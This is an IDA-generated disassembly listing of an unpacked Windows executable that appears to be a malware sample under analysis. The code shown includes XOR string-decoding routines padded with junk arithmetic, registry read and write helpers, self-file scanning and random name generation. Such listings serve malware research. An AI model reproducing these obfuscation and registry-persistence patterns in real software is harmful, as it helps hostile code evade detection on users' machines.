;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	9BBDD086C53E8ECE6EB841C3296BE2AE

; ---------------------------------------------------------------------------
; File Name   :	u:\work\9bbdd086c53e8ece6eb841c3296be2ae_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0004C000 ( 311296.)
; Section size in file		: 0004A200 ( 303616.)
; Offset to raw	data for section: 00000400
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing


loc_401000:				; DATA XREF: sub_401020+Ao
					; sub_43EFBD+Ao
		xor	eax, eax
		inc	eax
		mov	ecx, [esp+4]
		test	dword ptr [ecx+4], 6
		jz	short locret_40101F
		mov	eax, [esp+8]
		mov	edx, [esp+10h]
		mov	[edx], eax
		mov	eax, 3

locret_40101F:				; CODE XREF: .text:0040100Ej
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401020	proc near		; CODE XREF: sub_40109A+BEp
					; sub_40109A+ECp

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset loc_401000
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_40103D:				; CODE XREF: sub_401020+44j
					; sub_401020+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40106C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_40106C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_40103D
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_40103D
; ---------------------------------------------------------------------------


loc_40106C:				; CODE XREF: sub_401020+2Aj
					; sub_401020+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401020	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40107A	proc near		; CODE XREF: sub_40109A+B1p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_401092
		push	[ebp+arg_0]
		call	RtlUnwind	; RtlUnwind


loc_401092:				; DATA XREF: sub_40107A+Bo
					; sub_43F017+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40107A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40109A	proc near		; DATA XREF: start+10o	StartAddress+Ao ...

var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		cld
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	dword_43C08C, eax
		mov	dword_43C090, ebx
		test	dword ptr [eax+4], 6
		jnz	loc_40117F
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		mov	dword_43C090, eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4010DD:				; CODE XREF: sub_40109A+DCj
		cmp	esi, 0FFFFFFFFh
		jz	loc_40118E
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_40116D
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	dword_43C030, eax
		mov	edx, [ebp+var_14]
		mov	eax, [edx]
		mov	dword_43C034, eax
		mov	eax, [edx+4]
		mov	dword_43C038, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, dword_43C03C
		mov	esi, dword_43C034
		rep movsd
		lea	edi, dword_43C03C
		mov	dword_43C034, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_40116D
		js	short loc_40117B
		mov	edi, [ebx+8]
		push	ebx
		call	sub_40107A
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_401020
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_40116D:				; CODE XREF: sub_40109A+54j
					; sub_40109A+A9j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_4010DD
; ---------------------------------------------------------------------------


loc_40117B:				; CODE XREF: sub_40109A+ABj
		xor	eax, eax
		jmp	short loc_4011F0
; ---------------------------------------------------------------------------


loc_40117F:				; CODE XREF: sub_40109A+23j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_401020
		add	esp, 0Ch


loc_40118E:				; CODE XREF: sub_40109A+46j
		push	0
		mov	dword_43C010, 0Bh
		push	0Bh
		call	signal	; signal
		add	esp, 8
		or	eax, eax
		jnz	short loc_4011C9
		push	0
		mov	dword_43C010, 8
		push	8
		call	signal	; signal
		add	esp, 8
		or	eax, eax
		jnz	short loc_4011C9
		mov	eax, 1
		jmp	short loc_4011F0
; ---------------------------------------------------------------------------


loc_4011C9:				; CODE XREF: sub_40109A+10Cj
					; sub_40109A+126j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4011F8
		push	eax
		push	dword_43C010
		call	signal	; signal
		add	esp, 8
		push	dword_43C010
		call	raise	; raise
		add	esp, 4
		mov	eax, 1


loc_4011F0:				; CODE XREF: sub_40109A+E3j
					; sub_40109A+12Dj ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4011F8:				; CODE XREF: sub_40109A+132j
		cmp	dword_43C02C, 0
		jnz	short loc_401208
		mov	eax, 1
		jmp	short loc_4011F0
; ---------------------------------------------------------------------------


loc_401208:				; CODE XREF: sub_40109A+165j
		mov	eax, dword_43C02C
		push	0Bh
		jmp	eax
sub_40109A	endp

; ---------------------------------------------------------------------------
		pop	eax
		mov	eax, 1
		jmp	short loc_4011F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame

		public start

start		proc near		; CODE XREF: .text:0044A501j
					; DATA XREF: .text:loc_44A4FCo

var_30		= word ptr -30h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43C01C
		push	offset sub_40109A
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	eax
		fnstcw	[esp+30h+var_30]
		or	[esp+30h+var_30], 300h
		fldcw	[esp+30h+var_30]
		add	esp, 4
		push	0
		push	0
		push	offset dword_43C028
		push	offset dword_43C024
		push	offset dword_43C020
		call	__GetMainArgs
		push	dword_43C028
		push	dword_43C024
		push	dword_43C020
		mov	dword_43C014, esp
		call	sub_40C654
		add	esp, 18h
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		push	eax		; Code
		call	exit	; exit
start		endp

; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
		mov	large fs:0, eax
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40129C(void *Src, size_t Size)

sub_40129C	proc near		; CODE XREF: sub_408ED0+23p
					; sub_408ED0+3Fp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+Size]
		push	esi		; Size
		push	[ebp+Src]	; Src
		mov	eax, dword_43C09C
		lea	eax, ds:41B7B0h[eax]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	[ebp+var_4], 14Bh
		xor	edi, edi
		jmp	short loc_4012E5
; ---------------------------------------------------------------------------


loc_4012CB:				; CODE XREF: sub_40129C+4Bj
		mov	eax, dword_43C09C
		add	eax, edi
		lea	eax, ds:41B7B0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D4h
		mov	[eax], dl
		inc	edi


loc_4012E5:				; CODE XREF: sub_40129C+2Dj
		cmp	edi, esi
		jl	short loc_4012CB
		mov	[ebp+var_8], 286h
		mov	eax, dword_43C09C
		add	eax, esi
		mov	byte ptr dword_41B7B0[eax], 0
		xor	edi, edi
		mov	edi, dword_43C09C
		inc	dword_43C09C
		mov	eax, dword_43C09C
		add	eax, 5
		add	eax, esi
		mov	dword_43C09C, eax
		cmp	eax, 0E0Eh
		jle	short loc_40132A
		and	dword_43C09C, 0


loc_40132A:				; CODE XREF: sub_40129C+85j
		mov	[ebp+var_C], 3DBh
		lea	eax, dword_41B7B0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40129C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40133B	proc near		; CODE XREF: sub_408048+118p

var_14C1C	= dword	ptr -14C1Ch
var_14C18	= dword	ptr -14C18h
NumberOfBytesRead= dword ptr -14C14h
Buffer		= byte ptr -14C10h
var_8		= dword	ptr -8
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		mov	eax, 14C1Ch
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		call	GetCurrentProcessId	; GetCurrentProcessId
		mov	eax, dword_43C22C
		mov	[ebp+var_14C18], eax
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	80000000h	; dwDesiredAccess
		push	offset FileName	; lpFileName
		call	CreateFileA	; CreateFileA
		mov	esi, eax
		mov	ebx, 1CA5h
		sub	ebx, 77B7h
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40138D
		xor	eax, eax
		jmp	loc_401420
; ---------------------------------------------------------------------------


loc_40138D:				; CODE XREF: sub_40133B+49j
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		push	14C08h		; nNumberOfBytesToRead
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		push	esi		; hFile
		call	ReadFile	; ReadFile
		mov	[ebp+var_2], 434Fh
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		push	esi		; hObject
		call	CloseHandle	; CloseHandle
		mov	[ebp+var_8], 67B8h
		mov	eax, 79B5h
		mul	[ebp+var_8]
		mov	[ebp+var_14C1C], eax
		mov	[ebp+var_8], eax
		xor	edi, edi


loc_4013DC:				; CODE XREF: sub_40133B+DCj
		mov	eax, 13h
		sub	eax, dword_43C098
		push	eax
		push	offset Format
		lea	eax, [ebp+edi+Buffer]
		push	eax
		call	sub_40181A
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	short loc_401409
		xor	eax, eax
		inc	eax
		jmp	short loc_401420
; ---------------------------------------------------------------------------


loc_401409:				; CODE XREF: sub_40133B+C7j
		call	GetCurrentProcessId	; GetCurrentProcessId
		add	edi, 11h
		cmp	edi, [ebp+NumberOfBytesRead]
		jb	short loc_4013DC
		call	GetVersion	; GetVersion
		xor	eax, eax


loc_401420:				; CODE XREF: sub_40133B+4Dj
					; sub_40133B+CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40133B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 2A0h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C23C
		lea	eax, ds:41A7F0h[eax]
		push	eax
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 2B3h
		xor	edi, edi
		jmp	short loc_401475
; ---------------------------------------------------------------------------


loc_40145B:				; CODE XREF: .text:00401477j
		mov	eax, dword_43C23C
		add	eax, edi
		lea	eax, ds:41A7F0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0F6h
		mov	[eax], dl
		inc	edi


loc_401475:				; CODE XREF: .text:00401459j
		cmp	edi, esi
		jl	short loc_40145B
		mov	dword ptr [ebp-0Ch], 25h
		mov	eax, dword_43C23C
		add	eax, esi
		mov	byte ptr dword_41A7F0[eax], 0
		mov	edi, dword_43C23C
		inc	dword_43C23C
		mov	eax, dword_43C23C
		add	eax, 5
		add	eax, esi
		mov	dword_43C23C, eax
		cmp	eax, 0E06h
		jle	short loc_4014B8
		and	dword_43C23C, 0


loc_4014B8:				; CODE XREF: .text:004014AFj
		mov	dword ptr [ebp-10h], 20Bh
		lea	eax, dword_41A7F0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4014C9(HKEY hKey, LPCSTR lpSubKey, LPCSTR lpValueName, LPBYTE	lpData,	LPDWORD	lpcbData, LPDWORD lpType)

sub_4014C9	proc near		; CODE XREF: sub_4061F7+E1p
					; sub_408B4C+128p ...

var_10		= dword	ptr -10h
var_9		= byte ptr -9
phkResult	= dword	ptr -8
var_4		= word ptr -4
var_1		= byte ptr -1
hKey		= dword	ptr  8
lpSubKey	= dword	ptr  0Ch
lpValueName	= dword	ptr  10h
lpData		= dword	ptr  14h
lpcbData	= dword	ptr  18h
lpType		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	[ebp+var_4], 19C3h
		sub	[ebp+var_4], 4EAAh
		mov	[ebp+var_1], 19h
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		lea	eax, [ebp+phkResult]
		push	eax		; phkResult
		push	20019h		; samDesired
		push	0		; ulOptions
		push	[ebp+lpSubKey]	; lpSubKey
		push	[ebp+hKey]	; hKey
		call	RegOpenKeyExA	; RegOpenKeyExA
		mov	edi, eax
		mov	esi, 2238h
		mov	eax, 5994h
		mul	esi
		mov	[ebp+var_10], eax
		mov	esi, eax
		or	edi, edi
		jz	short loc_40151F
		xor	eax, eax
		jmp	short loc_40156A
; ---------------------------------------------------------------------------


loc_40151F:				; CODE XREF: sub_4014C9+50j
		call	GetVersion	; GetVersion
		push	[ebp+lpcbData]	; lpcbData
		push	[ebp+lpData]	; lpData
		push	[ebp+lpType]	; lpType
		push	0		; lpReserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+phkResult]	; hKey
		call	RegQueryValueExA	; RegQueryValueExA
		mov	edi, eax
		mov	[ebp+var_9], 0B0h
		movzx	eax, [ebp+var_9]
		imul	eax, 38BBh
		mov	[ebp+var_9], al
		push	[ebp+phkResult]	; hKey
		call	RegCloseKey	; RegCloseKey
		call	GetLastError
		or	edi, edi
		jz	short loc_401562
		xor	eax, eax
		jmp	short loc_40156A
; ---------------------------------------------------------------------------


loc_401562:				; CODE XREF: sub_4014C9+93j
		call	GetLastError
		xor	eax, eax
		inc	eax


loc_40156A:				; CODE XREF: sub_4014C9+54j
					; sub_4014C9+97j
		pop	edi
		pop	esi
		leave
		retn
sub_4014C9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 3A7h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C248
		lea	eax, ds:4351E0h[eax]
		push	eax
		call	memcpy	; memcpy
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4015B4
; ---------------------------------------------------------------------------


loc_40159D:				; CODE XREF: .text:004015B6j
		mov	eax, dword_43C248
		add	eax, edi
		lea	eax, ds:4351E0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 35h
		mov	[eax], dl
		inc	edi


loc_4015B4:				; CODE XREF: .text:0040159Bj
		cmp	edi, esi
		jl	short loc_40159D
		mov	dword ptr [ebp-8], 249h
		mov	eax, dword_43C248
		add	eax, esi
		mov	byte ptr dword_4351E0[eax], 0
		mov	edi, dword_43C248
		mov	eax, edi
		add	eax, 6
		add	eax, esi
		mov	dword_43C248, eax
		inc	dword_43C248
		cmp	dword_43C248, 0DC9h
		jle	short loc_4015F9
		and	dword_43C248, 0


loc_4015F9:				; CODE XREF: .text:004015F0j
		mov	dword ptr [ebp-0Ch], 114h
		lea	eax, dword_4351E0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40160A(HKEY hKey, LPCSTR lpSubKey, LPCSTR lpValueName, BYTE *lpData, DWORD cbData, DWORD dwType)

sub_40160A	proc near		; CODE XREF: sub_405E88+9Cp
					; sub_405E88+D9p ...

dwDisposition	= dword	ptr -10h
var_A		= word ptr -0Ah
phkResult	= dword	ptr -8
var_1		= byte ptr -1
hKey		= dword	ptr  8
lpSubKey	= dword	ptr  0Ch
lpValueName	= dword	ptr  10h
lpData		= dword	ptr  14h
cbData		= dword	ptr  18h
dwType		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		call	GetCurrentThreadId	; GetCurrentThreadId
		mov	[ebp+var_A], 6A47h
		add	[ebp+var_A], 5A3h
		lea	eax, [ebp+dwDisposition]
		push	eax		; lpdwDisposition
		lea	eax, [ebp+phkResult]
		push	eax		; phkResult
		push	0		; lpSecurityAttributes
		push	0F003Fh		; samDesired
		push	0		; dwOptions
		push	0		; lpClass
		push	0		; Reserved
		push	[ebp+lpSubKey]	; lpSubKey
		push	[ebp+hKey]	; hKey
		call	RegCreateKeyExA	; RegCreateKeyExA
		mov	edi, eax
		call	GetVersion	; GetVersion
		or	edi, edi
		jz	short loc_401651
		xor	eax, eax
		jmp	short loc_4016AE
; ---------------------------------------------------------------------------


loc_401651:				; CODE XREF: sub_40160A+41j
		call	GetVersion	; GetVersion
		push	[ebp+cbData]	; cbData
		push	[ebp+lpData]	; lpData
		push	[ebp+dwType]	; dwType
		push	0		; Reserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+phkResult]	; hKey
		call	RegSetValueExA	; RegSetValueExA
		mov	edi, eax
		call	GetCurrentProcessId	; GetCurrentProcessId
		push	[ebp+phkResult]	; hKey
		call	RegCloseKey	; RegCloseKey
		mov	[ebp+var_1], 14h
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		or	edi, edi
		jz	short loc_401694
		xor	eax, eax
		jmp	short loc_4016AE
; ---------------------------------------------------------------------------


loc_401694:				; CODE XREF: sub_40160A+84j
		call	GetCurrentThreadId	; GetCurrentThreadId
		cmp	[ebp+dwDisposition], 1
		jnz	short loc_4016A6
		mov	eax, 2
		jmp	short loc_4016AE
; ---------------------------------------------------------------------------


loc_4016A6:				; CODE XREF: sub_40160A+93j
		call	GetVersion	; GetVersion
		xor	eax, eax
		inc	eax


loc_4016AE:				; CODE XREF: sub_40160A+45j
					; sub_40160A+88j ...
		pop	edi
		leave
		retn
sub_40160A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C254
		lea	eax, ds:4383E0h[eax]
		push	eax
		call	memcpy	; memcpy
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4016F0
; ---------------------------------------------------------------------------


loc_4016D6:				; CODE XREF: .text:004016F2j
		mov	eax, dword_43C254
		add	eax, edi
		lea	eax, ds:4383E0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 93h
		mov	[eax], dl
		inc	edi


loc_4016F0:				; CODE XREF: .text:004016D4j
		cmp	edi, esi
		jl	short loc_4016D6
		mov	eax, dword_43C254
		add	eax, esi
		mov	byte ptr dword_4383E0[eax], 0
		xor	edi, edi
		mov	edi, dword_43C254
		mov	eax, edi
		add	eax, 4
		add	eax, esi
		mov	dword_43C254, eax
		cmp	eax, 0DEEh
		jle	short loc_401725
		and	dword_43C254, 0


loc_401725:				; CODE XREF: .text:0040171Cj
		lea	eax, dword_4383E0[edi]
		pop	edi
		pop	esi
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40172F	proc near		; CODE XREF: sub_4054C8+159p
					; sub_408B4C+74p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	GetVersion	; GetVersion
		call	GetCurrentThreadId	; GetCurrentThreadId
		xor	esi, esi
		jmp	short loc_40176B
; ---------------------------------------------------------------------------


loc_401746:				; CODE XREF: sub_40172F+3Fj
		call	rand	; rand
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		add	edi, 61h
		mov	edx, edi
		mov	[ebx+esi], dl
		inc	esi


loc_40176B:				; CODE XREF: sub_40172F+15j
		cmp	esi, [ebp+arg_4]
		jl	short loc_401746
		mov	eax, [ebp+arg_4]
		mov	byte ptr [ebx+eax], 0
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40172F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 12Bh
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C260
		lea	eax, ds:42FB20h[eax]
		push	eax
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 283h
		xor	edi, edi
		jmp	short loc_4017CB
; ---------------------------------------------------------------------------


loc_4017B4:				; CODE XREF: .text:004017CDj
		mov	eax, dword_43C260
		add	eax, edi
		lea	eax, ds:42FB20h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 7Bh
		mov	[eax], dl
		inc	edi


loc_4017CB:				; CODE XREF: .text:004017B2j
		cmp	edi, esi
		jl	short loc_4017B4
		mov	dword ptr [ebp-0Ch], 10Ch
		mov	eax, dword_43C260
		add	eax, esi
		mov	byte ptr dword_42FB20[eax], 0
		xor	edi, edi
		mov	edi, dword_43C260
		add	dword_43C260, 3
		mov	eax, dword_43C260
		lea	eax, [eax+esi+3]
		mov	dword_43C260, eax
		cmp	eax, 0DEDh
		jle	short loc_401810
		and	dword_43C260, 0


loc_401810:				; CODE XREF: .text:00401807j
		lea	eax, dword_42FB20[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40181A	proc near		; CODE XREF: sub_40133B+BAp
					; sub_40523D:loc_4052A8p ...

var_24		= dword	ptr -24h
var_1E		= byte ptr -1Eh
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= dword	ptr -11h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_D], 0C0h
		sub	[ebp+var_D], 75h
		and	[ebp+var_C], 0
		mov	eax, dword_43C264
		mov	[ebp+var_11], eax
		and	[ebp+var_8], 0
		jmp	loc_4018EA
; ---------------------------------------------------------------------------


loc_401840:				; CODE XREF: sub_40181A+E2j
		call	GetLastError
		and	[ebp+var_4], 0
		mov	[ebp+var_12], 0D8h
		movzx	eax, [ebp+var_12]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_12], al
		xor	ebx, ebx
		jmp	short loc_4018D0
; ---------------------------------------------------------------------------


loc_40185E:				; CODE XREF: sub_40181A+C7j
		call	GetTickCount	; GetTickCount
		mov	eax, [ebp+var_8]
		add	eax, ebx
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+eax]
		mov	edx, [ebp+arg_4]
		movsx	edx, byte ptr [edx+ebx]
		cmp	eax, edx
		jnz	short loc_40187D
		inc	[ebp+var_4]


loc_40187D:				; CODE XREF: sub_40181A+5Ej
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_401885:				; CODE XREF: sub_40181A+70j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_401885
		cmp	[ebp+var_4], eax
		jnz	short loc_4018CF
		call	GetCurrentProcessId	; GetCurrentProcessId
		inc	[ebp+var_C]
		mov	[ebp+var_18], 5F0h
		mov	eax, 4B0Ah
		mul	[ebp+var_18]
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_C], eax
		jnz	short loc_4018BE
		mov	eax, [ebp+var_8]
		jmp	short loc_401907
; ---------------------------------------------------------------------------


loc_4018BE:				; CODE XREF: sub_40181A+9Dj
		lea	edi, [ebp+var_1E]
		lea	esi, dword_43C268
		mov	ecx, 3
		rep movsw


loc_4018CF:				; CODE XREF: sub_40181A+75j
		inc	ebx


loc_4018D0:				; CODE XREF: sub_40181A+42j
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_4018D8:				; CODE XREF: sub_40181A+C3j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4018D8
		cmp	ebx, eax
		jb	loc_40185E
		inc	[ebp+var_8]


loc_4018EA:				; CODE XREF: sub_40181A+21j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_4018F2:				; CODE XREF: sub_40181A+DDj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4018F2
		cmp	[ebp+var_8], eax
		jb	loc_401840
		mov	eax, 0FFFFh


loc_401907:				; CODE XREF: sub_40181A+A2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40181A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C278
		lea	eax, ds:4166F0h[eax]
		push	eax
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 2A0h
		xor	edi, edi
		jmp	short loc_401952
; ---------------------------------------------------------------------------


loc_40193B:				; CODE XREF: .text:00401954j
		mov	eax, dword_43C278
		add	eax, edi
		lea	eax, ds:4166F0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 1Bh
		mov	[eax], dl
		inc	edi


loc_401952:				; CODE XREF: .text:00401939j
		cmp	edi, esi
		jl	short loc_40193B
		mov	dword ptr [ebp-8], 29Ch
		mov	eax, dword_43C278
		add	eax, esi
		mov	byte ptr dword_4166F0[eax], 0
		mov	edi, dword_43C278
		mov	eax, edi
		inc	eax
		add	eax, esi
		mov	dword_43C278, eax
		cmp	eax, 0DDFh
		jle	short loc_40198A
		and	dword_43C278, 0


loc_40198A:				; CODE XREF: .text:00401981j
		mov	dword ptr [ebp-0Ch], 0D8h
		lea	eax, dword_4166F0[edi]
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		call	GetVersion	; GetVersion
		lea	edi, [ebp-6]
		lea	esi, aVlvh_	; "vlVh_"
		mov	ecx, 3
		rep movsw
		mov	ebx, [ebp+10h]
		jmp	short loc_4019DB
; ---------------------------------------------------------------------------


loc_4019BE:				; CODE XREF: .text:004019DEj
		mov	eax, [ebp+8]
		movsx	eax, byte ptr [eax+ebx]
		mov	edx, ebx
		sub	edx, [ebp+10h]
		mov	ecx, [ebp+0Ch]
